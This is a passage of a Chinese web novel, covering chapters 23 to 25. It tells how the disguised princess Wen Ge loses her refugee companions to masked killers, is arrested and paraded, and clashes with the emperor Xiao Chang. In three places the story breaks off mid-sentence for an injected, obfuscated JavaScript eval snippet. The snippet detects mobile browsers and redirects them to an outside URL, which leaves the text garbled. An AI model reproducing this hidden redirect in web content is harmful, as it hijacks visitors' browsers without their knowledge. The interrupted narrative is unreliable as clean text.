“李哥……李哥你撑住!”她声音发颤,手忙脚乱想按住他胸前的伤口,可血怎么也止不住,温热的液体从指缝间汩汩涌出。 大李抓住她的手,力道大得惊人。他张了张嘴,血沫涌得更多:“小、小哥……我不行啦……你要……带好大家……” “不许说这种话!”闻歌吼道,眼泪夺眶而出,“我是首领!我命令你活下去!听见没有!” 大李扯出一个难看的笑容,声音越来越轻:“男子汉……哭什么……要、要坚强……” 他的手从闻歌掌心滑落,眼睛还睁着,望着破庙漏雨的屋顶。 死不瞑目。 闻歌轻轻合上他的眼,将他平放在地。起身时,她抹了把脸,手背上全是泪和血。 她转向剩下的土匪。 那双眼睛里的悲伤不见了,取而代之的是冰冷的、几乎实质化的杀意。 “我要你们,”她一字一顿,“偿命。” 剩下的战斗变成单方面的屠杀。 当最后一个土匪连滚带爬逃进山林时,破庙前已尸横遍地。闻歌拄着刀喘息,身上的血不知是别人的还是自己的。 活下来的只有七个难民。他们默默走过来,和闻歌一起将大李和其他人的尸体掩埋在后山。没有棺材,没有墓碑,只有一个个土堆,像这乱世里无数无声消失的生命。 “李哥爱吃鱼。”一个汉子低声说,往坟头放了条从河里摸来的小鱼,“下辈子……别当穷人了。” 闻歌在坟前站了很久,久到夕阳西沉,暮色四合。 ##二、分道扬镳 追上李婆子一行人时,已是月上中天。 破庙后山的羊肠小道上,四十多人挤作一团,个个面如土色。李婆子看见闻歌,跌跌撞撞冲过来:“小哥!其他人呢?大李呢?” 闻歌张了张嘴,喉咙像被什么堵住了。 “他们……”一个跟来的难民哽咽道,“都死了……” “死了?”李婆子踉跄后退,喃喃自语,“怎么会……刚才还在说笑……五十多条人命啊……” 小姑娘松开母亲的手,跑到闻歌身边,小手拽住她染血的衣角:“小哥,李哥哥是不是……回不来了?” 闻歌蹲下身,轻轻抱住她:“嗯。” 小姑娘“哇”地哭出声来。这哭声像会传染,人群里渐渐响起压抑的抽泣。暮色中,一张张绝望的脸孔显得格外苍凉。 “哭什么哭!”张婆子突然尖声打破沉默,“死都死了,哭能哭活吗?要我说,大家就地散了,各谋生路!” 小丫立刻附和:“张婆婆说得对!这年头谁顾得上谁?我跟着张婆婆走!” 有人动摇,有人沉默。三十几个人慢慢站到张婆子身后,剩下的四十多人望着闻歌,眼神里有依赖,也有迷茫。 闻歌看着这些朝夕相处的人,心里像压了块石头。 她想起皇上的眼神,想起那些追杀她的黑衣人。跟着她,这些人只会被牵连。 “大家……”她深吸一口气,“愿意跟张婆婆走的,都去吧。” 人群一阵骚动。 “小哥!”李婆子急道,“你这是什么话!” “我是说真的。”闻歌看向众人,声音很轻,却很清晰,“我不能再当你们的首领了。” 她顿了顿,说出那个埋藏已久的秘密:“因为我不叫小哥。我是当朝丞相之女,皇上钦封的安国郡主——闻歌。” 死一般的寂静。 张婆子最先反应过来,她瞪大眼睛,随即爆发出刺耳的大笑:“好哇!原来你就是那个兴风作浪的妖女!害我们流离失所的祸害!” “她是妖怪!”小丫尖叫,“杀了她!为我们的亲人报仇!” 仇恨像毒藤般蔓延。那些失去家园、失去亲人的人,此刻终于找到了宣泄口。他们一步步逼近,眼睛里燃烧着愤怒的火焰。 李婆子张开双臂挡在闻歌身前,瘦小的身躯挺得笔直:“谁敢动她!先过我这关!” 小姑娘也扑过来,紧紧抱住闻歌的腿:“小哥不是妖怪!她是好人!” “她若是妖怪,你们早死了八百回了!”一个汉子站出来,“别忘了,是谁收留你们,是谁带你们活到今天!” “对!我相信小哥!” “谁敢动她,我和谁拼命!” 更多的人站到闻歌身边。他们用身体筑成一道墙,把张婆子和小丫隔在外面。 张婆子脸色铁青。她本想着趁乱自立山头,过过被人伺候的瘾,没想到算盘落空。她咬牙道:“好!你们愿意跟着这个钦犯等死,我不拦着!愿意活命的,跟我走!” 三十多人跟着她转身离去。小丫临走前回头啐了一口:“等官兵来抓人的时候,看你们怎么死!” 闻歌望着他们的背影,心中五味杂陈。 她转身对留下的人说:“你们也走吧。我犯了欺君之罪,跟着我只有死路一条。” 李婆子第一个摇头:“我老婆子活了六十多年,什么没见过?大不了一死,有什么好怕!” 小姑娘死死拽着她的手:“你答应过永远让我跟着的!不能说话不算数!” 四十几个人没有一个离开。他们沉默地站在那里,像一群固执的羔羊。 闻歌鼻子发酸。 这世上,有人为利益背叛,也有人为恩义坚守。或许这就是人性——既丑陋,又高贵。 ##三、再陷重围 张婆子一行人走了不到一刻钟。 寂静的山道上,突然传来惊恐的尖叫。 “救命啊——!” “土匪!好多土匪!” “杀人了!官兵也被杀了!” 杂乱的脚步声由远及近,张婆子带着人连滚带爬跑回来,个个面无人色。他们身后,黑压压的蒙面人从山林两侧涌出,像一张迅速收拢的网。 闻歌瞳孔骤缩。 这些人训练有素,动作整齐划一,绝不是普通土匪。他们见人就杀,无论是难民还是乞丐,无论是老人还是孩子。刀光闪过,血花迸溅,惨叫声此起彼伏。 “保护妇孺!”闻歌厉喝,提刀冲了上去。 可这一次,敌人太多了。 成百上千的蒙面人如潮水般涌来。闻歌拼死厮杀,刀都砍卷了刃,可还是挡不住四面八方袭来的攻击。她眼睁睁看着张婆子被一刀穿心,看着小丫倒在血泊中,看着那些刚刚还鲜活的生命,一个接一个变成冰冷的尸体。 “小哥小心!”小姑娘的尖叫从身后传来。 闻歌回头,只见一个蒙面人举刀劈向李婆子。她想去救,却被三个敌人死死缠住。 “不要——!” 刀锋落下。 李婆子用身体护住小姑娘,后背绽开一道深可见骨的伤口。她踉跄跪倒,却还死死抱着孩子。 闻歌疯了似的砍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992192|193764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻眼前的敌人,冲到李婆子身边。老人倒在她怀里,血浸透了粗布衣裳。 “婆子……”闻歌声音发颤。 李婆子吃力地睁开眼睛,苍老的脸上竟露出一丝笑:“小、小哥……带好……孩子……” 她的手垂了下去。 闻歌抱着她渐渐冰冷的身体,整个人都在发抖。耳边是不断的惨叫,眼前是不断倒下的身影。四十几个留下的人,此刻只剩不到十个,还在拼命抵抗。 为什么? 为什么这些蒙面人要赶尽杀绝? 一个念头如闪电划过脑海——他们不是土匪,是冲着这些难民来的!或者说,是冲着她来的! 闻歌猛地抬头,目光锁定蒙面人后方——那里站着几个人,虽也蒙着脸,可身形气度明显是首领。其中一人,腰间佩着一块墨玉牌,在火光映照下隐约可见花纹。 她见过那种花纹。 在皇宫,在禁军统领的腰牌上。 是皇上的人?还是…… 没时间细想了。蒙面人已经围拢过来,最后的几个难民也倒下了。小姑娘被闻歌护在身后,吓得连哭都忘了。 “抱紧我。”闻歌低声道。 她单手抱起孩子,另一手握紧卷刃的刀,目光扫过步步逼近的敌人。 逃不掉了。 那就杀出去。 就在她准备拼死一搏时,山道尽头忽然传来马蹄声。 急促,整齐,越来越近。 蒙面人首领抬手做了个手势,所有人同时停步。他们侧耳倾听片刻,突然如潮水般退去,转眼消失在密林中。 来得快,去得也快。 只留下一地尸首,和浓得化不开的血腥气。 闻歌抱着小姑娘站在原地,浑身浴血,像从地狱爬出来的修罗。她望着蒙面人消失的方向,又望向马蹄声传来的方向。 月光惨白,照见山道上缓缓行来的队伍。 青篷马车,玄衣侍卫,还有那面在夜风中猎猎作响的旗帜—— 是皇家的徽记。 马车在尸堆前停下。车帘掀起,一道玄色身影弯腰下车。 月光照亮他的脸。 剑眉星目,薄唇紧抿,正是当今圣上——萧昌。 他目光扫过满地狼藉,最终落在闻歌身上。那双深邃的眼睛里没有惊讶,没有怜悯,只有一种洞悉一切的平静。 “闻歌,”他开口,声音在寂静的夜里格外清晰,“闹够了吗?” 闻歌握紧刀柄,将小姑娘护得更紧些。 她看着这个曾被她一石头砸过的皇帝,看着他身后那些全副武装的侍卫,忽然笑了。 笑容凄凉,带着血。 “陛下,”她说,“这些人,是您杀的吗?” 萧昌没有回答。 他缓步走近,踏过血泊,停在闻歌面前三步处。月光在他玄色衣袍上镀了一层银边,让他看起来不像人间帝王,更像幽冥之主。 “跟朕回宫。”他伸出手,掌心向上,“或者,死在这里。” 闻歌看着那只手,骨节分明,干净得没有一丝血污。 她想起大李粗糙的手,想起李婆子苍老的手,想起那些死在今夜的人的手。 然后她抬头,直视萧昌的眼睛。 “陛下,”她一字一顿,“若我跟你回去,你能放过这些还活着的人吗?” 萧昌唇角微勾:“你觉得,你有资格跟朕谈条件?” “没有。”闻歌坦然道,“但陛下若想要一个活的闻歌,而不是一具尸体,最好答应我。” 她反手将刀抵在自己颈侧。刀刃卷了,可依旧锋利,稍一用力就划出血痕。 萧昌眼神一凝。 四目相对,空气凝固。 良久,萧昌缓缓收回手,负在身后。 “准了。”他转身走向马车,声音随风飘来,“带上那个孩子。其余人,自生自灭。” 侍卫上前要接过小姑娘,孩子吓得死死抱住闻歌。 “别怕。”闻歌蹲下身,擦掉她脸上的血和泪,“跟着这位……叔叔,你会活下去的。” “那小哥你呢?” “我啊,”闻歌笑了笑,“要去一个很远的地方。” 她最后看了眼幸存的几个难民,又看了眼满地尸首,最终望向漆黑的夜空。 老神仙,这就是你说的“劫难”吗? 她不知道。 但她知道,从今夜起,那个在破庙里抓鱼打虎的“小哥”死了。 活下来的,只能是闻歌。 安国郡主闻歌。 她深吸一口气,走向那辆象征着无上权柄的马车。 身后,是血染的青山,和永远埋葬在此的英魂。 24. 第 24 章 ##一、血染青山 蒙面人如潮水般涌来。 闻歌一手护着小姑娘,一手挥刀抵挡,可刀锋越来越沉,每一次格挡都震得虎口发麻。李婆子被两个蒙面人缠住,老人挥舞着捡来的木棍,却哪里是这些杀手的对手。 “婆子小心!”闻歌嘶声喊道。 话音未落,一柄刀斜刺里劈来,李婆子踉跄躲闪,后背却结结实实挨了一记。鲜血瞬间浸透了粗布衣裳,她闷哼一声,扑倒在地。 “李婆婆!”小姑娘挣脱闻歌的手,想冲过去。 “别去!”闻歌一把将她拽回怀里。 就在这一瞬间,破空声袭来—— “嗖!” 一支弩箭精准地没入小姑娘肩头。孩子小小的身子一震,软软倒了下去。 “小妹——!”闻歌目眦欲裂。 她抱着小姑娘跪倒在地,孩子胸口那支箭还在微微颤动。鲜血迅速染红了粗布衣裳,像一朵狰狞的花。 “小、小哥……”小姑娘艰难地睁开眼睛,嘴唇已经失了血色,“我……我不能跟你去看京城啦……” “能!一定能!”闻歌声音发颤,手忙脚乱想按住伤口,可血怎么也止不住,“你坚持住,我马上带你找大夫!马上!” 眼泪不受控制地涌出来,一滴一滴落在孩子苍白的脸上。 小姑娘费力地抬起手,指尖轻触闻歌的脸颊:“别……别哭……我没事……” “我没哭!”闻歌胡乱抹了把脸,可新的泪水又涌出来,“你看,我真的没哭!” “你……撒谎……” “我没撒谎!” “那眼泪……哪来的……” 闻歌哽住了。她看着怀里这个才认了没多久的“妹妹”,这个在破庙里给她端粥、陪她抓鱼、说要永远跟着她的小姑娘,心像被钝刀一刀刀割着。 “我好疼……”小姑娘的声音越来越轻。 “我知道,我知道……”闻歌紧紧抱着她,“你别睡,看着我,跟我说话!” “我……想睡……” “不许睡!”闻歌几乎是吼出来的,“你答应过要跟我去看皇宫的!你说话要算数!” 小姑娘的眼睛慢慢阖上,唇角还挂着一丝浅浅的笑。那只抬起的手,无力地垂落下去。 “小妹……小妹你醒醒……”闻歌轻拍她的脸,声音越来越低,“你醒醒啊……” 怀里的小身体渐渐冰冷。 闻歌抱着她,整个人都在发抖。她想起第一次在破庙见到这孩子时,那双黑亮的眼睛里全是警惕;想起她递来那碗稀粥时说“小哥你吃”;想起拉勾时她说“谁变谁是小狗”…… 都碎了。 全都碎了。 “啊——!!!” 一声凄厉的嘶吼从喉咙深处迸发出来。闻歌轻轻放下小姑娘,抓起地上两把染血的刀,冲进了蒙面人中间。 这一次,她不再防守,不再顾忌。 刀光成了她肢体的延伸,每一次挥砍都带着同归于尽的决绝。一个、两个、三个……蒙面人接二连三倒下,可她也添了无数伤口。血顺着胳膊往下淌,分不清是别人的还是自己的。 杀到后来,她眼前只剩一片血红。耳边的喊杀声、惨叫声渐渐远去,世界安静得可怕。 直到—— “呜……” 一声微弱的呻吟传来。 闻歌猛地回神,循声望去。李婆子趴在地上,正艰难地朝她这边爬。老人背上那道伤口深可见骨,每动一下,身下就拖出一道血痕。 “婆子!”闻歌砍翻眼前的敌人,冲过去跪倒在李婆子身边。 “小……小姑娘……”李婆子气若游丝。 闻歌的眼泪又涌出来:“她……她走了……” 李婆子浑浊的眼睛里闪过悲痛,却吃力地摇头:“不……不怪你……是这个世道……不好……” “怪我!都怪我!”闻歌哭出声来,“如果我不是闻歌,如果我不来破庙,你们都不会死!我就是个灾星!是个妖怪!” “傻孩子……”李婆子想抬手摸她的脸,却抬不起来,“哪有什么妖怪……都是人……自己作孽……” 她的呼吸越来越弱,眼神开始涣散,却还强撑着说:“你……要活下去……带着……我们的份……” 话没说完,头一歪,没了气息。 闻歌抱着李婆子渐渐冰冷的身体,跪在尸山血海中。大李、小姑娘、李婆子、小丫、张婆子……一张张熟悉的脸在眼前闪过,最后都变成地上这些不会说话的尸体。 她忽然想起老神仙的话:“此乃汝之人间劫。” 所以这就是劫吗?看着身边的人一个个死去,却无能为力? 闻歌仰头望天,想质问那云端的老者,却只看见惨白的月亮,冷冷地照着这片修罗场。 ##二、束手就擒 “围起来!” 一声厉喝从山道传来。 闻歌缓缓转头,看见一队官兵举着火把涌来。为首的是个穿七品官袍的中年男子,山羊胡,三角眼,正捋着胡须得意地打量她。 “好你个妖女!”魏县令跨下马,趾高气昂,“自封土皇帝,杀害官兵,抢夺官银,今日总算落到本官手里了!” 闻歌看着他,眼神空洞。 土皇帝?是啊,她这个“土皇帝”才当了几天,就成了亡国之君。可她这个“皇帝”连自己的子民都护不住,眼睁睁看着他们死在眼前。 多讽刺。 官兵一拥而上,给她戴上手铐脚镣。铁链冰凉的触感让她清醒了些,可她仍跪在那里,一动不动。 魏县令见她这副失魂落魄的样子,更是得意:“押回去!本官要亲自审问这妖女!” “慢着。” 又一队人马赶到。李知府翻身下马,举着火把仔细端详闻歌的脸,忽然笑了:“哟,这不是丞相家的安国郡主吗?怎么落得这般田地?” 闻歌抬眼看他。 这个李知府她记得。在皇叔赈灾那日,他曾跪在皇叔面前磕头认错。此刻他看着她的眼神,却像猎犬看见了猎物。 “魏县令,”李知府拍拍下属的肩膀,“好生看管。这可是条大鱼,得交给王爷——不,得交给皇上亲自处置。” “下官明白!”魏县令腰弯得更低了。 闻歌被拖起来,押上囚车。铁链哗啦作响,在寂静的夜里格外刺耳。 她最后回头看了一眼。 月光下,那些尸体静静躺着,像睡着了一样。小姑娘小小的身子蜷在那里,李婆子还保持着爬向她的姿势。 闻歌闭上眼睛。 再睁开时,眼里只剩一片死寂。 ##三、游街劫难 囚车进城时,天刚蒙蒙亮。 消息却像长了翅膀,早已传遍大街小巷。等囚车驶上主街,两侧早已挤满了百姓。他们举着菜叶、鸡蛋、石块,眼睛里燃烧着仇恨的火焰。 “妖女!还我家人命来!” “杀了她!为洪水死去的亲人报仇!” “千刀万剐!下油锅!” “烧死这个害人精!” 怒吼声如山呼海啸。一颗鸡蛋“啪”地砸在闻歌额头上,蛋液混着血水流下来。接着是菜叶、石块、烂果子……雨点般砸向囚车。 闻歌不躲不闪,任由那些东西砸在身上。额头的伤口火辣辣地疼,可比起心里的痛,这算什么? 一个中年男人突然冲破官兵的阻拦,举着扁担冲过来,照着闻歌就是一棍! “打得好!” “用力打!” “打死她!” 百姓的呐喊声一浪高过一浪。 闻歌缓缓抬眼,看向那个男人。她的眼神很平静,平静得像一潭死水,可那男人却被看得脊背发凉,踉跄后退。 “抓住他!”魏县令气急败坏。 几个官兵扑上去按住男人,可更多的百姓往前涌。场面眼看就要失控。 就在这时,囚车里的闻歌忽然笑了。 她笑得很大声,很突兀,在愤怒的声浪中显得格外诡异。笑着笑着,她扬起被铁链锁住的手,对着两侧百姓喊道: “多砸点!来来来,多砸点!” “你们开心就使劲砸!好爽啊!” 百姓们愣住了。 “她、她疯了……”有人小声说。 “妖怪又要作乱了!快跑!” “跑啊——!” 恐惧像瘟疫般蔓延。刚才还义愤填膺的人群,转眼作鸟兽散。街边只剩下几个跑不动的老人,还有一个站在路中间哇哇大哭的小女孩。 闻歌看着那孩子,忽然又开口,声音温和得不像话:“小姑娘,别哭。捡起地上的白菜,继续砸我呀。” 孩子哭得更凶了。 “我不是妖怪,我是小仙女。”闻歌认真地说,尽管她现在满头菜叶、满脸血污,这话听起来荒唐至极,“你看,我被绑着呢,伤不了你。你不是想报仇吗?快来呀。” 魏县令气得胡子直抖:“妖女!你给我闭嘴!” 闻歌却像是没听见,自顾自叹气:“唉,这么个小要求都不帮,真没劲。”她转头看向那些战战兢兢的官兵,“魏县令,要不你下令,让他们接着砸我?” 几个年轻官兵手一抖,刀“哐当”掉在地上。他们对视一眼,突然尖叫着转身就跑。 “回来!都给本官回来!”魏县令暴跳如雷,可哪里喊得住。 囚车在诡异的寂静中继续前行。闻歌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992193|193764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠在栏杆上,望着空荡荡的街道,忽然想起桃木剑里那五个小鬼。 ——他们现在在干嘛?是不是也在看她的笑话? 她下意识摸了摸袖口。剑不在身上,早在破庙打斗时就不知丢哪儿去了。 也好。闻歌想。若那五个小鬼真跟着,看见她这副狼狈样,怕是要笑掉大牙。 *** 县衙后院,魏县令正对着李知府点头哈腰:“大人放心,下官一定严加看管!等皇上和王爷发落!” 李知府捋着胡须,志得意满。抓住闻歌,这可是天大的功劳。若是能借此攀上皇上或皇叔…… 正做着升官发财的美梦,门外忽然传来急促的脚步声。 “圣旨到——!” 一个太监尖细的嗓音刺破黎明。 李知府和魏县令慌忙跪地。宣旨太监展开黄绢,却只念了一句: “传皇上口谕:宣李德全、魏明即刻觐见。” 两人对视一眼,都在对方眼里看到了狂喜——定是皇上要嘉奖他们了! *** 县衙厢房里,萧昌负手站在窗前,望着庭院里那株半枯的槐树。晨光熹微,在他玄色衣袍上镀了层金边。 皇叔萧璟坐在桌边沏茶,动作优雅从容:“皇兄真要见那两个蠢货?” “见。”萧昌声音平静,“朕倒要问问,谁给他们的胆子,敢让朕的人游街示众。” 萧璟斟茶的手微顿,抬眼看皇兄的背影。 朕的人。 这三个字,说得理所当然。 “那丫头倒是命大。”萧璟轻笑,“那么多杀手都没要了她的命。” “她要死,也只能死在朕手里。”萧昌转过身,眼神深邃,“在那之前,谁动她,就是跟朕过不去。” 门外传来脚步声。李知府和魏县令跪在门外,声音因为激动而发颤: “臣李德全/魏明,叩见陛下!吾皇万岁——” “进来。” 门开了。两人连滚爬爬进来,额头抵地,不敢抬头。 萧昌走到他们面前,蹲下身,用一根手指抬起魏县令的下巴。 “魏明,”他缓缓开口,声音很轻,却让魏县令浑身发抖,“朕问你,今日游街的主意,是谁出的?” “是、是下官……”魏县令冷汗直流,“下官是想让百姓解恨,彰显朝廷威严……” “解恨?”萧昌笑了,那笑容却冷得像冰,“朕的人,什么时候轮到你拿来给百姓解恨了?” 魏县令如遭雷击,瘫软在地。 李知府见状,连忙磕头:“陛下息怒!魏县令也是一片忠心,想为朝廷分忧……” “分忧?”萧昌站起身,居高临下看着他们,“你们可知,今日那些蒙面杀手,是谁派去的?” 两人茫然摇头。 萧昌俯身,在魏县令耳边轻声说:“是朕。” 魏县令瞪大眼睛,难以置信。 “朕派人杀她,是朕的事。”萧昌直起身,眼神凌厉,“你们抓她游街,就是打朕的脸。” 他挥了挥手:“拖下去。该怎么处置,你们心里清楚。” 侍卫冲进来,堵住两人的嘴拖了出去。惨叫声被闷在喉咙里,渐渐远去。 萧昌重新走到窗前,望着庭院里那棵槐树。 萧璟端着茶走过来,递给他一杯:“皇兄何必动怒。那丫头现在关在牢里,跑不了。” “朕不是动怒。”萧昌接过茶,却没喝,“朕是在想,经历了这些,她会不会真疯了。” “疯了又如何?”萧璟挑眉,“疯了也是安国郡主,是皇兄钦点的人。” 萧昌沉默片刻,忽然问:“你说,她哭着让人继续砸她的时候,心里在想什么?” 萧璟想了想,笑了:“或许在想——这人间劫难,何时才是个头。” 窗外,天色大亮。 牢房里的闻歌靠在冰冷的石墙上,闭着眼睛。铁链沉重,伤口疼痛,可这些都比不上心里的空。 老神仙,这劫,我受够了。 她在心里说。 若成仙要经历这些,那我宁愿不成。 可这念头只是一闪而过。她摸向腰间——那柄“问心”匕首还在,冰凉的触感让她清醒。 不。 她要成仙。 要带着小姑娘、李婆子、大李他们的份,好好活下去。 然后,找出今日那些蒙面杀手的幕后主使。 一个都不放过。 闻歌睁开眼,牢房小窗外漏进一缕晨光,正好照在她脸上。 她迎着光,缓缓勾起唇角。 那笑容很淡,却有种破土而生的坚韧。 劫难未完。 而她,也还没认输。 25. 第 25 章 牢门外的喧嚣尚未散尽,监牢深处已弥漫着霉腐与血腥交织的气息。 闻歌蜷坐在潮湿的草垫上,手腕脚踝被镣铐磨出了血痕。她闭着眼,耳边却清晰传来远处杖责的闷响与哀嚎——李知府和魏县令正在受刑。她唇角勾起一丝讥诮的弧度,心中并无快意,只有无尽的疲惫。 “狗皇帝做戏给谁看。”她低声喃喃。 鬼大飘到她身侧:“主人,皇上朝这儿来了。” “来得正好。”闻歌睁开眼,眸中寒光凛冽,“我正想问问,他那‘圣驾’踏过多少百姓的尸骨。” 脚步声由远及近,狱卒谄媚的劝阻声、侍卫的呵斥声混杂着传入牢房。闻歌挺直脊背,即便衣衫褴褛、满面污垢,那姿态依旧如竹如松。 “安国郡主关在何处?”皇上的声音冷得像腊月寒冰。 “下官、下官不认识什么安国郡主……”狱头颤声回答。 “砰”的一声,似是有人被踹倒在地。闻歌听见那熟悉的脚步声越来越近,带着压抑的怒气,震得牢廊火把明灭不定。 鬼二凑到闻歌耳边:“皇上脸色黑得像锅底。” “活该。”闻歌冷哼。 镣铐被打开时,金属碰撞声清脆刺耳。闻歌活动着麻木的手腕,抬眼便撞见萧昌那双深不见底的眸子。他站在牢门外,龙袍下摆沾了牢狱污渍,却浑然不顾,只死死盯着她。 “朕问你,”萧昌转向被侍卫押回来的狱头,声音平静得可怕,“为何将郡主关在此处?” 狱头扑通跪地:“是李知府和魏县令交代,说这是重犯……” “重犯?”萧昌打断他,忽然笑了,笑意却未达眼底,“朕亲封的安国郡主,成了你口中的重犯?” 他抬手一指那肮脏的牢笼:“把他关进去。镣铐加身,没有朕的旨意,不得放出。” 狱头惊恐的求饶声戛然而止,被粗暴地塞进了闻歌方才所在的囚室。闻歌冷眼看着这一切,心中毫无波澜——不过是帝王权术,打一巴掌给颗甜枣,她见得多了。 待牢房重归寂静,萧昌才转向闻歌。四目相对,他眼底翻涌着她看不懂的情绪。 “安国郡主,”他开口,语气缓了下来,“多日不见,别来无恙。” 闻歌拂开额前散乱的发丝,露出那张沾着污迹却依旧明艳的脸:“托皇上的福,还没死成。” 萧昌被她呛得一顿,竟低笑出声:“这般模样了,还是如此伶牙俐齿。” “不知皇上屈尊来这肮脏之地,有何贵干?”闻歌明知故问,语气里的讥讽毫不掩饰。 “朕来看朕的爱妃。”萧昌朝她走近一步。 闻歌后退,背抵上冰冷石墙:“哟,皇上的爱妃竟在这种地方?那皇上口味可真独特,如蝇逐秽,专爱在这腐臭之地寻欢作乐。卑女佩服皇上通吃天下的‘胸怀’。” 这话说得极重,旁边的侍卫都倒吸一口凉气。萧昌脸色沉了沉,却未发作,只是深深看她:“见到朕来,你就没有半分欢喜?” “欢喜,”闻歌扯出一个笑,眼底却结了冰,“欢喜地等着为皇上送终。” “你——”萧昌终于动了怒,一把攥住她的手腕,“闻歌!这次是朕救了你!” “救我?”闻歌猛地甩开他,声音因激动而颤抖,“狗皇帝,你知不知道你那‘圣驾’所过之处,百姓遭了多少殃?!官兵驱赶难民,老弱妇孺被刀剑相向,李婆子、张婆子、小丫……她们都死了!就因为你来了,官府要‘清理门户’!” 她越说越激动,积压多日的愤怒与悲痛如火山喷发:“你坐在龙辇里,看得见路边的尸骨吗?听得见百姓的哭嚎吗?萧昌,你这皇位,是用多少人的血染红的?!” “放肆!”萧昌厉喝,眼中却闪过一抹极快的心虚。 “我今日就放肆了又如何?!”闻歌红了眼眶,却倔强地不让泪落下,“有本事你杀了我,就像杀他们一样——” 话音未落,她突然朝萧昌扑去,双手直扼他的脖颈! 变故骤生! 萧昌身后的暗卫尚未动作,闻歌却觉腰后被人狠狠一踹! “啊!”她惊叫一声,整个人不受控制地向前扑去,不偏不倚撞进萧昌怀里。 萧昌下意识伸手接住她,温香软玉入怀,他愣住了。 鬼大在暗处搓手:“我这脚力道如何?” 鬼二翻白眼:“得了吧,要不是我们五个一起发力,主人能飞这么准?” 闻歌从萧昌怀中抬起头,又羞又怒地朝身后瞪去:“哪个混蛋踹我?!” 空荡荡的牢廊只有回音。 萧昌看着她气鼓鼓的模样,心中那点怒气忽然散了,取而代之的是一种难以言喻的柔软。他低笑,手臂不自觉收紧:“安国郡主,口是心非这一套,你玩得倒是熟练。” “谁口是心非了?!”闻歌挣扎,“放开我!我真要掐死你——” 她伸手又要去够萧昌的脖子,谁知脚底又是一股莫名力道袭来! 这回她整个人彻底失去平衡,带着萧昌“砰”地摔倒在地!她趴在他身上,两人姿势暧昧至极,鼻尖几乎相触。 鬼三兴奋得手舞足蹈:“这回成了!” 鬼四遗憾:“可惜没直接摔进寝宫。” 闻歌撑起身子,又急又气地环顾四周:“到底是谁?!给本姑娘滚出来!” 萧昌躺在地上,看着骑在自己身上、张牙舞爪的女子,忽然朗声大笑。笑声在牢狱中回荡,惊飞了梁上栖息的乌鸦。 “你还笑!”闻歌恼羞成怒,抬手就想给他一巴掌。 手腕在半空被攥住。 萧昌的笑意渐渐沉淀,化作眸中深沉的星光。他看着她,一字一句道:“闻歌,你就这么恨朕?” 闻歌僵住了。 恨吗?当然恨。恨他身为帝王却视人命如草芥,恨他纵容贪官污吏横行,恨他让她看见这世间最肮脏的权术与最无力的善良。 可为什么……看着他此刻的眼神,那恨意里竟掺了一丝别的东西? “是,”她别开脸,声音沙哑,“我恨你。” 萧昌沉默片刻,忽然松开她的手,轻轻将她从身上扶起。自己也站起身,掸了掸龙袍上的灰尘。 “恨也好,”他低声说,像是自言自语,“总好过无动于衷。” 闻歌怔怔看着他。 “来人,”萧昌恢复帝王威仪,声音却温和了许多,“送郡主去沐浴更衣。” “我不去你的寝宫。”闻歌立刻拒绝。 萧昌转身看她,目光复杂:“那你想回这牢房?” 闻歌咬唇。 “放心,”萧昌忽然凑近,在她耳边轻声道,“朕若真想强迫你,何必等到今日?” 他气息拂过耳畔,闻歌耳根一热,慌乱后退。 萧昌却已转身,朝牢外走去。走了几步,又停下,侧首道:“闻歌,这世间并非只有黑白。朕的无奈,你总有一天会明白。” 这话说得极轻,却重重砸在闻歌心上。 她看着那道明黄背影消失在牢廊尽头,忽然觉得,这个她恨之入骨的帝王,似乎也有他的枷锁。 鬼五飘到她身边:“主人,去不去?” 闻歌沉默许久,终于抬步。 “去。”她深吸一口气,“我倒要看看,他到底在玩什么把戏。” 沐浴更衣后,闻歌被宫人引至帝王寝宫偏殿。她换上干净的宫装,素白衣裙,墨发仅用一支玉簪松松绾起,洗净污垢的脸庞在烛光下莹白如玉。 萧昌已换下朝服,着一身玄色常袍坐在案前看书。见她进来,他放下书卷,目光在她身上停留片刻。 “果然还是这样适合你。”他示意她坐下。 闻歌不坐,只站在殿中,如孤松立雪:“皇上有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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四目相对,她看见他眼中深藏的孤独,那是一种与权势地位无关的、灵魂深处的荒芜。那一刻,她忽然想起师父曾说过的话:**“这世上最可怕的牢笼,往往是无形的。有人困于贫穷,有人困于情爱,而有些人,困于天下。”** 萧昌,困于天下。 而她,困于对他的恨与那一丝不该有的恻隐。 “皇上……”她喃喃,一时不知该说什么。 萧昌松开手,背过身去,声音已恢复平静:“今夜你宿在偏殿。明日,朕带你去看一些东西。” “看什么?” “看看朕的江山,”他侧首,烛光在他脸上投下明暗交错的光影,“也看看,朕究竟是不是你口中那个‘狗皇帝’。” 闻歌望着他的背影,心中乱成一团。 恨意未消,却又添了困惑。这帝王的心思,她竟越来越看不透了。 鬼大在梁上翘着腿:“有戏。” 鬼二点头:“虐恋情深,我最爱看了。” 闻歌:“……” 